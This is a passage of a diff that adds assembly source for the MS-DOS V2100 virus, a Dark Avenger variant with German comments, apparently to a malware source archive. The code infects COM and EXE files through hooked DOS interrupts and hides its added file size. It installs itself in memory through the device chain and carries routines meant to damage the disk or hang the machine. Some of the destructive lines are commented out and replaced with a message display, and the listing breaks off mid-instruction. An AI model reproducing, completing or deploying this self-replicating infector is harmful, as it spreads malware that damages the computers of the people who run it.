push ax + + mov ax,bx ; AX. + + RETF ; + ; DS:100h. +;-----------------------------------------------------------------------------; +EndCode: + int 20h ; + +End Start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v2100_.asm b/MSDOS/Virus.MSDOS.Unknown.v2100_.asm new file mode 100644 index 00000000..7bc21199 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v2100_.asm @@ -0,0 +1,1295 @@ +;-------------------------------------------------------------- +; V2100.ASM +; +; Source von V2100.COM / noch ein Dark-Avenger-Virus +; +; Stealth +; Zerstrt BOOT+Partitionstabelle +; Infiziert COM+EXE +; Ldt sich in oberen Speicherbereich +; +;-------------------------------------------------------------- +code SEGMENT + ASSUME CS:code, DS:code + .RADIX 16 + SMART + ORG 100h +;-------------------------------------------------------------- +; Struktur des Disk-Parameter-Blocks +;-------------------------------------------------------------- +DPB Struc + drive db ? ; +0 + Subunit db ? ; +1 + SecSize dw ? ; +2 + SecPerCluster db ? ; +4 + ClusToSecShift db ? ; +5 + BootSize dw ? ; +6 + NumberOfFATs db ? ; +8 + RootDirNumber dw ? ; +9 + FstDataSector dw ? ; +0b + MaxCluster dw ? ; +0d + SecsPerFAT db ? ; +0f + RootSector dw ? ; +10 + Device dd ? ; +12 + MediaDescrpt db ? ; +16 + Accesflag db ? ; +17 + NextBlock dd ? ; +18 +DPB ends +;-------------------------------------------------------------- +start: JMP VirStart + ;----------------------------------------------------- + ; Die NOPS sind fr den TD unbedingt notwendig ! + ;----------------------------------------------------- + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP +;----------------------------------------------------- +FirstByte: DB 00h ; Ofs 0 + DB "Eddie lives" ; Ofs 1..0b + DB 00h ; Ofs 0c + DB 0DCh ; Ofs 0d + DB 14h ; Ofs 0e + DB 00h ; Ofs 0f + DB 00h ; Ofs 10 + ;=======( eingefgt )================================= +Infected DB 7,'INFECTED',0 +destroyed DB 7,'DESTROYED',0 +Down DB 7,'DOWN',0 + ;===================================================== +DisplayActivity: + PUSH AX + PUSH BX + PUSH SI + PUSH BX + MOV AH,0Eh ; TTY-Ausgabe + MOV BL,71h + MOV SI,Offset Destroyed-Offset Firstbyte + nextchar: + LODSB + or al,al + JZ FERTIG + INT 10H + JMP NextChar + fertig: + POP AX + POP BX + POP SI + RET + ;========================================== +;----------------------------------------------------- +PushAll:PUSH AX ; Offset 11h + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + MOV BX,SP + JMP Word Ptr SS:[BX+10h] ; == RET, Aber alle Register gesichert + ;----------------------------------------------------- + +JmpEXE: ADD SI,Offset IP_Init ;081Ah ;Offset 1Fh + MOV BX,ES + ADD BX,10h + +;--------------------------------------------------------------------- +;VirusStartOffset EQU Offset FirstByte +;SegmentOffset EQU Offset Exe_segment+Offset IP_Init +;OffsetOffset EQU Offset Exe_Offset -Offset IP_Init +;ErsteZahl EQU (-SegmentOffset + VirusStartOffset) +;ZweiteZahl EQU (-OffsetOffset + VirusStartOffset) +;------( der assembler mag nicht )------------------------------------ +;ADD BX,Word Ptr CS:[SI+02h] ; Relocate; +;MOV Word Ptr CS:[SI-ErsteZahl],BX ; +F831 +;MOV BX,Word Ptr CS:[SI] +;MOV Word Ptr CS:[SI-ZweiteZahl],BX ; +F82F +;===================================================================== + ADD BX,Word ptr CS:[SI+2] + MOV Word Ptr CS:[Offset Exe_Segment-Offset FirstByte],BX + MOV BX,Word ptr CS:[SI] + MOV Word Ptr CS:[Offset Exe_Offset-Offset FirstByte],BX +;====================================================================== + MOV BX,ES + ADD BX,10h + ADD BX,Word Ptr CS:[SI+04h] + MOV SS,BX + MOV SP,Word Ptr CS:[SI+06h] + ;----------------------------------------------------- + DB 0EAh +Exe_Offset DW ? ; Offset 161h +Exe_Segment DW ? ; JMP 0000:0000 ; JMP EXE-CODE + ;----------------------------------------------------- +VirStart: CALL J0045F ; Adresse 168h auf Stack +;------------------------------------------------------------- +InstallDevice: +INT 3 + RETF ; DAS wollen wir besser nicht zulassen !!!!!!!!!! + + DEC DI ; Offset 50h + DEC DI + PUSH CS + CALL FirstBIOSCall + INC DI + INC DI +FirstBIOSCall: + PUSH DS + PUSH Word Ptr DS:[DI+08h] + RETF + ;----------------------------------------------------- +ModifyFilesize_in_FCB: + CALL INT21 ; Offset 5Dh + TEST AL,AL + JNZ J001DA ; Keine passende Datei gefunden + PUSH AX + PUSH BX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + MOV AH,51h ; Get current PSP + INT 21H + MOV ES,BX + CMP BX,Word Ptr ES:[0016h] ; PSP des COMMAND.COM ?? + JNZ J001D3 + MOV SI,DX + MOV AH,2Fh ; GET DTA + INT 21H ; ES:BX <- DTA + LODSB + INC AL + JNZ J0019D + ADD BX,+07h +J0019D: INC BX + MOV DI,0002h + JMP SHORT CheckFileForStealth + ;----------------------------------------------------- +StealthFilesize: + CALL INT21 ; Offset 8Bh + JB J001DA + PUSH AX + PUSH BX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + MOV AH,2Fh ; Get DTA + INT 21H ; ES:BX <- DTA + XOR DI,DI +CheckFileForStealth: + PUSH ES + POP DS + MOV AX,Word Ptr DS:[BX+16h] ; Hole Filedatum + AND AL,1Fh ; Sekunde auf '62' gesetzt ? + CMP AL,1Fh + JNZ J001D3 ; nein, dann geben wir die + MOV AX,Word Ptr DS:[BX+DI+1Ah] ; echte Lnge zurck. + MOV SI,Word Ptr DS:[BX+DI+1Ch] ; sonst : ziehe 2100 ab.. + SUB AX,2100d ; =0834h + SBB SI,+00h + JB J001D3 + MOV Word Ptr DS:[BX+DI+1Ah],AX + MOV Word Ptr DS:[BX+DI+1Ch],SI +J001D3: POP ES + POP DS + POP DI + POP SI + POP BX + POP AX + CLC +J001DA: INC SP + INC SP + JMP @IRET + ;----------------------------------------------------- +J001DF: JMP ModifyFilesize_in_FCB ; Offset C7h + ;----------------------------------------------------- + ;===================================================== + ; vvvv--- Hier wird neuer Code hingebastelt -vvvv + ;----------------------------------------------------- +VirINT24:MOV AL,03h ; Offset C9h + IRET ; INT24h / Operation failed ! + ;----------------------------------------------------- +VirEXEC:CALL J006E0 ; Offset CCh + CALL Zerstoere + MOV BYTE PTR CS:[Offset Bontchev_Flag-Offset Firstbyte],01h + ; 877h +ToINT21h: + POPF +JmpToINT21H: + JMP DWord Ptr CS:[Offset INT21H-Offset FirstByte] + ;----------------------------------------------------- +VirInt27H: ; Offset DEh + CALL Virus_KEEP_Procedure + JMP DWord Ptr CS:[Offset INT27H-Offset FirstByte] + ;----------------------------------------------------- +KEEP: CALL Virus_KEEP_Procedure ; Offset E6h + JMP ToINT21h + ;----------------------------------------------------- +VirInt21h: + STI ; Offset 00EBh + PUSHF + CLD + CMP AH,11h ; FindFirst FCB + JZ J001DF + CMP AH,12h ; Findnext FCB + JZ J001DF + + CMP AH,4Eh ; Findfirst ASCIIZ + JZ StealthFilesize + CMP AH,4Fh ; FindNext ASCIIZ + JZ StealthFilesize + + CALL Suche_Bontchev + + CMP AX,2521h ; SET Int 21h + JZ VirSetInt21H + CMP AX,2527h ; Set Int 27H + JZ VirSetInt27H + + CMP AX,3521h ; GET Int 21H +;============================== +GET21LABEL EQU $-2 ; zeigt auf "3521" +JmpLABEL EQU $+1 ; zeigt auf "57", Sprungweite +;============================== + JZ VirGetInt21H + CMP AX,3527h ; GET INT 27H + JZ VirGetInt27H + + CMP AH,31h ; KEEP +KEEPLABEL: ; ofs 234h + JZ KEEP + CMP AX,4B00h ; EXEC + JZ VirEXEC + + CMP AH,3Ch ; Create File + JZ J0024A + CMP AH,3Eh ; close file + JZ CLOSEFile + CMP AH,5Bh ; Make New File + JNZ J002B0 + +J0024A: CMP WORD PTR CS:[Offset VirusEnde-Offset FirstByte],+00h ; CS:93Ch + JNZ J002CC ; + CALL CheckFile ; + JNZ J002CC ; NZ-> EXE oder COM + POPF + CALL INT21 + JB @IRET + CALL J003F8 +J00260: CLC +@IRET: RETF 0002h + ;----------------------------------------------------- +VirSetInt27H: + MOV Word Ptr CS:[Offset INT27H - Offset FirstByte],DX + MOV Word Ptr CS:[Offset INT27H + 2 - Offset FirstByte],DS + POPF + IRET + ;----------------------------------------------------- +VirSetInt21H: + MOV Word Ptr CS:[Offset INT21H - Offset FirstByte],DX + MOV Word Ptr CS:[Offset INT21H + 2 - Offset FirstByte],DS + POPF + IRET + ;----------------------------------------------------- +VirGetInt27H: + LES BX,DWord Ptr CS:[Offset INT27H - Offset FirstByte] + POPF + IRET + ;----------------------------------------------------- +VirGetInt21H: + LES BX,DWord Ptr CS:[Offset INT21H - Offset FirstByte] + POPF + IRET + ;----------------------------------------------------- +CLOSEFile: + CMP BX,Word Ptr CS:[Offset VirusEnde-Offset FirstByte] + JNZ J002CC + TEST BX,BX + JZ J002CC + POPF + CALL INT21 + JB @IRET + PUSH DS + PUSH CS + POP DS + PUSH DX + MOV DX,Offset J0093E-Offset Firstbyte + CALL Zerstoere + MOV WORD PTR CS:[Offset VirusEnde-Offset FirstByte],0000h + POP DX + POP DS + JMP J00260 + ;----------------------------------------------------- +J002B0: CMP AX,4B01h ; Load Overlay + JZ J002C9 + CMP AH,3Dh ; Open file + JZ J002C4 + CMP AH,43h ; Change Fileattribut + JZ J002C4 + CMP AH,56h ; rename File + JNZ J002CC + +J002C4: CALL CheckFile + JNZ J002CC ; NZ -> EXE oder COM + +J002C9: CALL Zerstoere + +J002CC: JMP ToINT21h + ;----------------------------------------------------- +CheckFile: + PUSH AX + PUSH SI + MOV SI,DX + +SuchEXT:LODSB + TEST AL,AL + JZ J002FC + CMP AL,'.' + JNZ SuchEXT + + CALL GetChar + MOV AH,AL + CALL GetChar + CMP AX,'oc' ; ein COM-File ? + JZ J002F5 + CMP AX,'xe' ; ein EXE-File ? + JNZ J002FE + CALL GetChar + CMP AL,'e' + JMP SHORT J002FE + ;----------------------------------------------------- +J002F5: CALL GetChar + CMP AL,'m' ; war es ein COM-File ?? + JMP SHORT J002FE + ;----------------------------------------------------- +J002FC: INC AL ; Lscht ZF ! +J002FE: POP SI + POP AX + RETN + ;----------------------------------------------------- +GetChar:LODSB + CMP AL,'C' ; 43h ; Buchstaben zwischen 'C'und 'Y' + JB J0030C ; werden in Kleinschrift gewandelt + CMP AL,'Y' ; 59h + JNB J0030C + ADD AL,20h +J0030C: RETN + ;------------( virus callt int 21h )------------------ +INT21: PUSHF + PUSH CS + CALL JmpToINT21H + RETN + ;----------------------------------------------------- +Zerstoere: + CALL PushAll + MOV SI,DS + ;------------------------- Get Int 24h ----------------- + XOR AX,AX + MOV DS,AX + MOV DI,13h*4 + LES AX,Dword Ptr DS:[DI+44h] + PUSH ES + PUSH AX + ;------------------------- Set Int 24h ----------------- + MOV WORD PTR DS:[DI+44h],Offset VirINT24-Offset FirstByte + MOV Word Ptr DS:[DI+46h],CS + ;------------------------- Get Int 13h ----------------- + LES AX,Dword Ptr DS:[DI] + MOV Word Ptr CS:[Offset INT13H+1-Offset FirstByte],AX ; CS:92B + MOV Word Ptr CS:[Offset INT13H+3-Offset FirstByte],ES ; CS:92D + ;------------------------- Set Int 13h ----------------- + MOV WORD PTR DS:[DI ],Offset VirInt13H-Offset FirstByte + MOV Word Ptr DS:[DI+02h],CS + PUSH ES + PUSH AX + PUSH DI + PUSH DS + MOV AH,54h ; Get verify-Status + INT 21H + PUSH AX + MOV AX,2E00h ; Set verify-Status OFF + INT 21H + MOV DS,SI + MOV AX,4300h ; Get Fileattribut + CALL INT21 + JB J0038B + TEST CL,04h + JNZ J0038B + MOV BX,CX + AND CL,0FEh + CMP CL,BL + MOV AX,4301h ; Set Fileattribut + PUSH AX + JZ J0036C + CALL INT21 + CMC +J0036C: PUSHF + PUSH DS + PUSH DX + PUSH BX + MOV AX,3D02h ; ffne R/W + CALL INT21 + JB J00381 + XCHG AX,BX + CALL INFECT_File + MOV AH,3Eh ; Close file + CALL INT21 +J00381: POP CX + POP DX + POP DS + POPF + POP AX + JNB J0038B + CALL INT21 +J0038B: POP AX + MOV AH,2Eh ; Set verify-Status + INT 21H + POP DS + MOV AL,Byte Ptr DS:[046Ch] ; Get Timer-Byte 000:46C + DEC AX + OR AL,byte Ptr DS:[043Fh] ; Get Disk-Motor-Status, + ; -> welches Laufwerk war grade + ; eben eingeschaltet ???????? + AND AL,0Fh + JNZ J003E1 + MOV DL,80h ; Platte C: + MOV AH,08h ; Get drive-parameters + INT 13H + JB J003E1 + MOV DI,0010h ; +J003A8: MOV AX,0201h ; Lese 1 Sektor + MOV BX,Offset Buffer - Offset FirstByte ; 0880h; nach CS:998h + MOV DL,80h ; Platte C: + INT 13H ; Welcher Sektor steht in CX.... + ;----------------------------------------------------------- + CMP WORD PTR CS:[BX ],1F0Eh ; scanne 0e 1f 83 2e + JNZ J003D8 ; PUSH CS, POP DS + CMP WORD PTR CS:[BX+02h],2E83h ; SUB Word Ptr DS:[xxxx],yyyy + JNZ J003D8 + ;----------------------------------------------------------- + MOV AX,0202h ; Lese 2 Sektoren + PUSH BX + MOV BH,0Ah ; Puffer ist 10 byte dahinter + DEC CX ; 2 Sektoren davor lesen + DEC CX + INT 13H + POP BX + ;----------------------------------------------------- + ; MOV AX,0303h ; Drei Sektoren berschreiben + ; MOV CX,0001h ; Sektor Nummer 1 / Partitionssektor ! + ; XOR DH,DH ; Kopf 0 + ; INT 13H ; Kaputt ! + ;======( eingefgt )======================= + CALL DISPLAYACTIVITY + ;========================================== + JMP SHORT J003E1 + ;----------------------------------------------------- +J003D8: TEST CH,CH + JZ J003E1 + DEC CH + DEC DI + JNZ J003A8 +J003E1: POP DI + POP Word Ptr DS:[DI] + POP Word Ptr DS:[DI+02h] + POP Word Ptr DS:[DI+44h] + POP Word Ptr DS:[DI+46h] + +PopALL: POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + INC SP + INC SP + RETN + ;----------------------------------------------------- +J003F8: CALL PushAll + PUSH CS + POP ES + MOV DI,Offset VirusEnde-Offset FirstByte + STOSW + MOV SI,DX + MOV CX,0050h +J00406: LODSB + STOSB + TEST AL,AL + JZ PopALL + LOOP J00406 + MOV Word Ptr ES:[Offset VirusEnde-Offset FirstByte],CX + JMP PopALL + ;----------------------------------------------------- +Suche_Bontchev: + CALL PushAll + PUSH CS + POP DS + CMP BYTE Ptr DS:[Offset Bontchev_Flag-Offset FirstByte],00h; CS:98F + JZ PopALL + MOV AH,51h + CALL INT21 + MOV ES,BX + MOV CX,Word Ptr ES:[0006h] + SUB DI,DI +J0042F: MOV SI,Offset BontChev-Offset FirstByte + LODSB + REPNZ SCASB + JNZ J00446 + ;-------------------------------------- + ; BONTCHEV gefunden. System aufhngen ! + ;-------------------------------------- + PUSH CX + PUSH DI + MOV CX,0007h + REPZ CMPSB + POP DI + POP CX + JNZ J0042F + ; ---------------------- refresh-timer verstellen --------------- + ; MOV AL,54h + ; OUT 43h,AL ; ergibt Parittsfehler ! + ;======( eingefgt )======================= + CALL DISPLAYACTIVITY + ;========================================== + +J00446: MOV BYTE Ptr DS:[Offset Bontchev_Flag-Offset FirstByte],00h + JMP PopALL ; == RET + ;----------------------------------------------------- +JmpCOM: MOV DI,0100h + ADD SI,Offset OldCode-Offset FirstByte + MOV SP,Word Ptr DS:[0006h] + XOR BX,BX + PUSH BX + PUSH DI + MOVSB + MOVSW + RETN + ;----------------------------------------------------- +J0045F: POP SI ; Get IP + SUB SI,Offset InstallDevice-Offset FirstByte + CLD + INC WORD PTR CS:[SI+Offset Generation - Offset Firstbyte] + NOT BYTE PTR CS:[SI+Offset BontChev- Offset FirstByte] + CMP WORD PTR CS:[SI+Offset OldCode - Offset FirstByte],'MZ' + JZ J00486 + CLI + MOV SP,SI + ADD SP,Offset @Stack-Offset Firstbyte + STI + CMP SP,Word Ptr DS:[0006h] + JNB JmpCOM ; Zuwenig Stack , keine Infektion mglich ! + +J00486: PUSH AX + PUSH ES + PUSH SI + PUSH DS + MOV DI,SI + ;------------------------- Get Int 13h ----------------- + XOR AX,AX + PUSH AX + MOV DS,AX + LDS DX,DWord Ptr DS:[13h*4] ; Get INT 13 in DS:DX + + MOV AH,30h + INT 21H ; Get DOS-version + MOV Byte Ptr CS:[SI+Offset DOS_Version -Offset Firstbyte],AL + + CMP AL,03h ; Dosversion 3 ?? + JB J004AE + + MOV AH,13h ; Swap INT 13h-Handler + INT 2FH ; Jetzt enthlt DS:DX und + ; ES:BX aber ROM-Entry + PUSH DS + PUSH DX ; Merk Dir den ROM-Entry + MOV AH,13h ; und swappe zurck ! + INT 2FH + POP DX + POP DS + ;--------------------------------------------------------------------------- +J004AE: MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+1-Offset FirstByte],DX + MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+3-Offset FirstByte],DS + MOV Word Ptr CS:[SI+Offset Int13JMP +1-Offset Firstbyte],DX + MOV Word Ptr CS:[SI+Offset Int13JMP +3-Offset Firstbyte],DS + + POP DS + PUSH DS ; AX=0 als DS vom Stack holen + MOV AX,Word Ptr DS:[0102h] + ; Segment INT 40h (Disk-Bios-Entry) holen + CMP AX,0F000h ; zeigt es ins ROM ? + JNZ J00542 ; + + MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+1-Offset FirstByte],AX + MOV AX,Word Ptr DS:[0100h] + MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+3-Offset FirstByte],AX + + MOV DL,80h ; DL auf Festplatte C: einstellen + MOV AX,Word Ptr DS:[0106h] ; Adresse des BPB des Platte C: holen + CMP AX,0F000h ; Zeiger ins ROM ? + JZ J004FF + CMP AH,0C8h ; Zeiger in Segment C800 ? + JB J00542 + CMP AH,0F4h ; Zeiger in Segment F400 ? + JNB J00542 + + TEST AL,7Fh ; auf xxXX:xxxx ? + JNZ J00542 ; Auf xxXX:xxxx ! + MOV DS,AX ; DS einstellen + CMP WORD Ptr DS:[0000h],0AA55h ; ist dort eine BIOS-Kennung ? + JNZ J00542 ; nein + MOV DL,Byte Ptr DS:[0002h] + ; ?? Lnge des Bios ?? holen + +J004FF: MOV DS,AX + XOR DH,DH + MOV CL,09h ; DX * 512 + SHL DX,CL + MOV CX,DX + XOR SI,SI +J0050B: LODSW ;------- Code-Analyse ! -------------------- + CMP AX,0FA80h ; CMP DL,xx + JNZ J00519 + LODSW + CMP AX,7380h ; CMP DL,80h + JZ J00524 ; JNB xxxx + + JNZ J0052E +J00519: CMP AX,0C2F6h ; TEST DL,xx + JNZ J00530 ; + LODSW + CMP AX,7580h ; TEST Dl,80h + JNZ J0052E ; JBE xxxx + +J00524: INC SI + LODSW + CMP AX,40CDh ;INT 40h. Suche danach den INT 40-Aufruf + JZ J00535 + SUB SI,+03h +J0052E: DEC SI + DEC SI +J00530: DEC SI + LOOP J0050B + JMP SHORT J00542 + ;----------------------------------------------------- +J00535: SUB SI,+07h + + MOV Word Ptr CS:[DI+Offset Int13JMP + 1 - Offset FirstByte],SI + MOV Word Ptr CS:[DI+Offset Int13JMP + 3 - Offset FirstByte],DS + +J00542: MOV SI,DI + POP DS + ;------------------------- Get Int 21h ----------------- + LES AX,Dword Ptr DS:[21h*4] + MOV Word Ptr CS:[SI+Offset INT21H - Offset FirstByte],AX + MOV Word Ptr CS:[SI+Offset INT21H + 2 - Offset FirstByte],ES + PUSH CS + POP DS + NOT BYTE Ptr DS:[SI+Offset Bontchev-Offset FirstByte] + + CMP AX,Offset VirInt21h-Offset FirstByte + JNZ J0056B ; Noch nicht verbogen ! + XOR DI,DI + + MOV CX,Offset Int13ROM_Entry + 1 - Offset FirstByte + REPZ CMPSB + JNZ J0056B + POP ES + JMP J005F0 + ;---------------( berechnen der neuen Position im RAM )----- +J0056B: POP DS + PUSH DS + MOV AX,SP + INC AX + MOV CL,04h + SHR AX,CL + INC AX + MOV CX,SS + ADD AX,CX + MOV CX,DS + DEC CX + MOV ES,CX + MOV DI,0002h + MOV DX,010Ch + MOV CX,Word Ptr DS:[DI] + SUB CX,DX + CMP CX,AX + JB J005EF + + POP AX + SUB Word Ptr ES:[DI+01h],DX + MOV Word Ptr DS:[DI ],CX + MOV ES,CX + MOV AX,CX + CALL J008F2 + MOV BX,AX + MOV CX,DX + MOV AX,DS + CALL J008F2 + ADD AX,Word Ptr DS:[DI+04h] + ADC DX,+00h + SUB AX,BX + SBB DX,CX + JB J005B2 + SUB Word Ptr DS:[DI+04h],AX +J005B2: POP SI + PUSH SI + PUSH DS + PUSH CS + XOR DI,DI + MOV DS,DI + ;------------------------- Get Int 27h ------------------------- + LDS AX,DWord Ptr DS:[27h*4] ; Hole INT 27H + MOV Word Ptr CS:[SI+Offset INT27H -Offset FirstByte],AX + MOV Word Ptr CS:[SI+Offset INT27H + 2 -Offset FirstByte],DS + POP DS + MOV BYTE Ptr DS:[SI+Offset Bontchev_Flag-Offset FirstByte],00h + + ;--------------------------------------------------------------- + MOV CX,Offset Buffer-Offset Firstbyte ; 0440h; 997h kopieren + REPZ MOVSW ; Ins obere RAM kopieren + + ;------------------------- Set Int 21h ----------------- + XOR AX,AX + MOV DS,AX + MOV WORD PTR DS:[21h*4 ],Offset VirInt21h-Offset FirstByte + MOV WORD PTR DS:[21h*4+2],ES + ;------------------------- Set Int 27h ----------------- + MOV WORD PTR DS:[27h*4 ],Offset VirInt27H-Offset FirstByte + MOV WORD PTR DS:[27h*4+2],ES + MOV ES:[Offset VirusEnde-Offset FirstByte],AX + +J005EF: POP ES +J005F0: POP SI + ;------------------------- Get Int 13h ----------------- + XOR AX,AX + MOV DS,AX + MOV AX,Word Ptr DS:[13h*4] + MOV Word Ptr CS:[SI+Offset int13JMP+1-Offset FirstByte],AX + MOV AX,Word Ptr DS:[13h*4+2] + MOV Word Ptr CS:[SI+Offset Int13JMP+3-Offset FirstByte],AX + ;------------------------- Set Int 13h ----------------- + + MOV WORD Ptr DS:[13h*4],Offset VirInt13h-Offset FirstByte + ADD Word Ptr DS:[13h*4 ],SI ; SI = Offset FirstByte + MOV Word Ptr DS:[13h*4+2],CS + + POP DS + PUSH DS + + PUSH SI + + MOV DS,Word Ptr DS:[002Ch] ; Get Envir-Segment + XOR SI,SI +J0061C: LODSW + DEC SI + TEST AX,AX ; Suche Ende des Environments + JNZ J0061C + + POP DI ; = mov di,Offset Firstbyte + PUSH DI + PUSH ES + CMP BYTE PTR CS:[DI+Offset DOS_Version-Offset FirstByte],03h + JB J00635 + ADD SI,+03h ; zeigt auf grade gestartetes File + MOV AX,121Ah ; get File's drive, DS:SI->Filename + INT 2FH ; AL <- Drive + ;---------------------------------------------------------- +J00635: MOV DL,AL + MOV AH,32h ; Get DPB + INT 21H ; DS:BX zeigt auf Disk-Parm-Block + ; DS ist dabei immer das DOS-Segment + ;=========================================================== + ;0275:033A 0E 00 05 E0 03 00 00 00 originaler DPB + ;0275:0342 00 00 00 00 00 1B 5E 03 + ;0275:034A 75 02 01 00 00 00 00 00 + ;======================================== + ; es:0215 1A 02 04 xx xx xx xx xx Neuer "DPB" im CS + ; es:021D xx xx xx xx xx xx 55 02 + ; es:0225 D1 30 01 00 00 00 xx xx + ;======================================== + ; ds:01AE 43 4C 4F 43 4B 24 20 20 CLOCK$ + ; ds:01B6 CA 01 70 00 40 08 DC 05 + ; ds:01BE 34 06 ................... Erste returnadresse + ; 05 80 ............. Zweite returnadresse + ; 00 01 00 00 + ;=========================================================== + PUSH CS + POP ES ; ES ist CS + + ADD DI,Offset VirInt24-Offset Firstbyte + ; DI war Offset Firstbyte + MOV SI,DI ; SI = Offset VIRINT24h + + MOV AL,1Ah ; Drive + MOV AH,Byte Ptr DS:[BX+DPB.SubUnit] + STOSW ; AX -> ES:DI ( Drive+Subunit) + MOV AL,04h + STOSB ; AL -> ES:DI ( Sectorsize ) + + ADD DI,+0Ah ; DI <- Offset Virint24h+13h + ; DI = Offset ToINT21h-1 + + MOV DX,Word Ptr DS:[BX+DPB.FstDataSector] + CMP Byte Ptr CS:[SI+Offset DOS_Version-Offset VirInt24],AL + JB J0065A + INC BX + +J0065A: MOV AL,byte Ptr DS:[BX+DPB.MediaDescrpt] + STOSB + + MOV AX,SI + ADD AX,0040h ; AX = Ofs VirInt24+40h + ; AX = Offset 221h, Byte vor "CMP AX,2527" + STOSW ; + MOV AX,ES + STOSW ; + MOV AX,0001h ; + STOSW ; + DEC AX ; AX = 0 + STOSW ; +;------------------------------------------------------------------ + LDS DI,DWord Ptr DS:[BX+DPB.Device] + + MOV BX,SI ; jetzt zeigt BX auf Virint24 + ;---------------------------------------------------------- + PUSH CS ; AX=0 + ; DS:DI zeigt auf Link; + ; ES:BX = residentes VirInt24h + CALL InstallDevice + ;---------------------------------------------------------- + ; Installation des Virus als 'device' + ; Hier installiert es sich durch die Hintertuer !!! + ;---------------------------------------------------------- + ; + ;-------( Hier wird der Code verndert )------------------ + ; + ;---------------------------------------------------------- + ; ES=CS ! + + SHL BYTE PTR ES:[BX+02h],1 ; aus 04 wird 08, + ; Ofs virint24 + 2 ; Ofs 1e3 + + INC BYTE PTR ES:[BX+Offset JMPLabel-Offset Virint24] + ; JZ 0283 -> JZ 284 + ; Ofs Virint24 + 4ah; Ofs 22B + + AND BYTE PTR ES:[BX+Offset JMPLabel-Offset VirInt24],0Fh + ; JZ 284 -> JZ 234 + ; nach CMP AH,31h + ; Ofs VirInt24 + 4ah + PUSHF + JNZ J006A3 + MOV AX,Word Ptr ES:[BX+Offset Get21Label-Offset Virint24] + ; 3521, aus 'CMP AX,3521' + ; Ofs Virint24 + 48h; Ofs 229 + + ADD AX,0040h ; AX = 3561 + + CMP AX,Word Ptr ES:[BX+Offset Keeplabel-Offset Virint24] + ; 744B = JZ 01FE + ; Ofs Virint24 + 53h; Ofs 234 + JB J0069F + INC AX ; AX = 3562 + AND AX,003Fh ; AX = 0022 + ADD AX,DX ; DX ist DPB.DataSektor + CMP AX,Word Ptr ES:[BX+Offset Keeplabel-Offset Virint24] + ; 744B + ; Ofs Virint24 + 53h + JNB J006B3 +J0069F: MOV Word Ptr ES:[BX+Offset Get21Label-Offset Virint24],AX + ; Ofs Virint24 + 48h +J006A3: + ;---------------------------------------------------------- + PUSH CS + CALL InstallDevice + ;---------------------------------------------------------- + + POPF + JNZ J006B2 + MOV Word Ptr ES:[BX+Offset JMPToInt21H-Offset VirInt24+4],AX + ; Ofs VirInt24 + 14h + + ;---------------------------------------------------------- + PUSH CS + CALL InstallDevice + ;---------------------------------------------------------- + +J006B2: PUSHF +J006B3: POPF + POP ES + POP SI + ;------------------------- Re-Set Int 13h --------------- + XOR AX,AX + MOV DS,AX + MOV Byte Ptr CS:[SI+Offset Bontchev - Offset FirstByte],AL + MOV AX,Word Ptr CS:[SI+Offset INT13H+1-Offset FirstByte] + MOV Word Ptr DS:[13h*4 ],AX + MOV AX,Word Ptr CS:[SI+Offset INT13H+3-Offset FirstByte] + MOV Word Ptr DS:[13h*4+2],AX + ;------------------------------------------------------- + POP DS + POP AX + CMP WORD PTR CS:[SI+Offset OldCode-Offset Firstbyte],'MZ' + JNZ J006DD + JMP JmpEXE + ;----------------------------------------------------- +J006DD: JMP JmpCOM + ;----------------------------------------------------- +J006E0: CALL PushAll + MOV AH,51h ; GET PSP + INT 21H + SUB DI,DI ; DI = 0 + MOV AX,DI ; AX = 0 + DEC BX ; Auf MCB des Master-programs zeigen +MCB_Loop: + ADC BX,AX + MOV DS,BX + MOV AX,Word Ptr DS:[DI+03h] ; MCB-Size nach AX + CMP BYTE Ptr DS:[DI],'Z' ; Letzter MCB ? + JB MCB_Loop ; NEIN -> MCB_Loop + CMP DI,Word Ptr DS:[DI+01h] ; Owner of MCB = Himself ? + JNZ J0075A ; => Command.com + INC BX ; Auf PSP zeigen + MOV ES,BX ; ES=PSP-Segment + CMP AX,1000h ; MCB-Size < 1000h ? + JB J00708 + MOV AX,1000h ; Wenn MCB >= 1000h -> MCB=1000H +J00708: MOV CL,03h + SHL AX,CL ; MCB := MCB * 8 + MOV CX,AX + REPZ STOSW ; AX->ES:DI, CX mal + JMP SHORT J0075A + ;------------------------------------------------------ +Virus_KEEP_Procedure: + ;------------------------------------------------------ + CALL PushAll + ;------------------------- Get Int 21h ---------------- + MOV CX,Offset VirInt21H -Offset FirstByte + XOR DI,DI + MOV DS,DI + LES DX,Dword Ptr DS:[21h*4] ; ES:DX = Int 21h + ;------------------------------------------------------ + PUSH CS + POP DS + CMP DX,CX ; Ist INT 21 schon von + JNZ J0072E ; mir bernommen ? + MOV AX,ES + MOV SI,CS ; dieselbe Frage + CMP AX,SI + JZ J0075A + ;-------------------------------------------------- + ; Nein, INT21h wird z.Z. nicht von mir 'bearbeitet' + ;--------------------------vvvvvvvvvvvvvvvvvvvvvvv +J0072E: MOV AX,Word Ptr ES:[DI] ; Nochmal dieselbe + CMP AX,CX ; Abfrage des INT 21h + JNZ J0073D + MOV AX,CS + CMP AX,Word Ptr ES:[DI+02h] + JZ J00742 +J0073D: INC DI + JNZ J0072E + JMP SHORT J0074E + ;----------------------------------------------------- + ; Setzen des INT 21h auf die Virus-Prozedur + ;----------------------------------------------------- +J00742: MOV SI,Offset INT21H - Offset FirstByte + CLD + MOVSW + MOVSW ; DS:SI-> ES:DI + MOV Word Ptr DS:[SI-04h],DX ; 994 + MOV Word Ptr DS:[SI-02h],ES ; 996 +J0074E: XOR DI,DI + MOV DS,DI + MOV Word Ptr DS:[21h*4 ],CX + MOV Word Ptr DS:[21h*4+2],CS +J0075A: JMP PopALL ; == RET ! + ;----------------------------------------------------- +INFECT_File: + PUSH CS + POP DS + PUSH CS + POP ES + + MOV SI,Offset Buffer-Offset 